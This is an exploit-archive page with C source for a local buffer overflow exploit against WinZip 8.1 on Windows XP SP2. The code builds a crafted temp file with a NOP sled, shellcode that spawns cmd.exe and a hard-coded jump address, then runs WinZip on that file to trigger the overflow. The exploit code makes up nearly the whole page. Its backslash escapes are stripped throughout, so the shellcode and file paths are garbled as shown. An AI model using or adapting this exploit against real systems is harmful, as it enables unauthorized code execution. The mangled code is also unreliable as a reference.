[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : WinZIP <= 8.1 Command Line Local Buffer Overflow Exploit
# Published : 2005-06-07
# Author : ATmaCA
# Previous Title : AIX 5.2 ipl_varyon Local Elevated Privileges Exploit
# Next Title : ePSXe <= 1.6.0 nogui() Local Exploit


/*
*
* WinZip Command Line Local Buffer Overflow
* http://securitytracker.com/alerts/2004/Sep/1011132.html
* http://www.winzip.com/wz90sr1.htm
* Exploit coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan
*
*/

/*
*
* Tested with WinZip 8.1 on Win XP Sp2 En
* Bug Fixed on WinZip 9.0 Service Release 1 (SR-1)
* http://www.winzip.com/wz90sr1.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define NOP 0x90

void main()
{
        // create crafted command line
        char tmpfile[] = "c:\wzs45.tmp";
        char winzippath[] = "C:\Program Files\WINZIP\winzip32.exe";
        char zipandmailpar[] = " -* /zipandmail /@  ";
        char runpar[300];
        int i = 0;
        strcpy(runpar,winzippath);
        strcat(runpar,zipandmailpar);
        strcat(runpar,tmpfile);

        // need for some input file name .tmp but not must to exist
        char inputfile[] = "C:\someinputfile.extn";

        // launch a local cmd.exe
        char shellcode[] =
        "x55x8BxECx33xFF"
        "x57x83xECx04xC6x45xF8"
        "x63xC6x45xF9x6DxC6x45"
        "xFAx64xC6x45xFBx2ExC6"
        "x45xFCx65xC6x45xFDx78"
        "xC6x45xFEx65xB8"
        "xC7x93xC2x77" //77C293C7 system() - WinXP SP2 - msvcrt.dll
        "x50x8Dx45xF8x50"
        "xFFx55xF4";

        // create crafted .tmp file
        FILE *di;
        if( (di=fopen(tmpfile,"wb")) == NULL ){
                return;
        }

        for(i=0;i<sizeof(inputfile)-1;i++)
                fputc(inputfile[i],di);

        fprintf(di,"c:\");

        for(i=0;i<384;i++)
                fputc(NOP,di);


        for(i=0;i<sizeof(shellcode)-1;i++)
                fputc(shellcode[i],di);

        fprintf(di,"xBFxACxDAx77");  //EIP - WinXp Sp2 Eng - jmp esp addr
        fprintf(di,"x90x90x90x90");  //NOPs
        fprintf(di,"x90x83xECx74");  //sub esp,0x74
        fprintf(di,"xFFxE4x90x90");  //jmp esp

        fprintf(di,"n");

        fclose(di);
        WinExec(runpar,SW_SHOW);
}

// www.Syue.com [2005-06-07]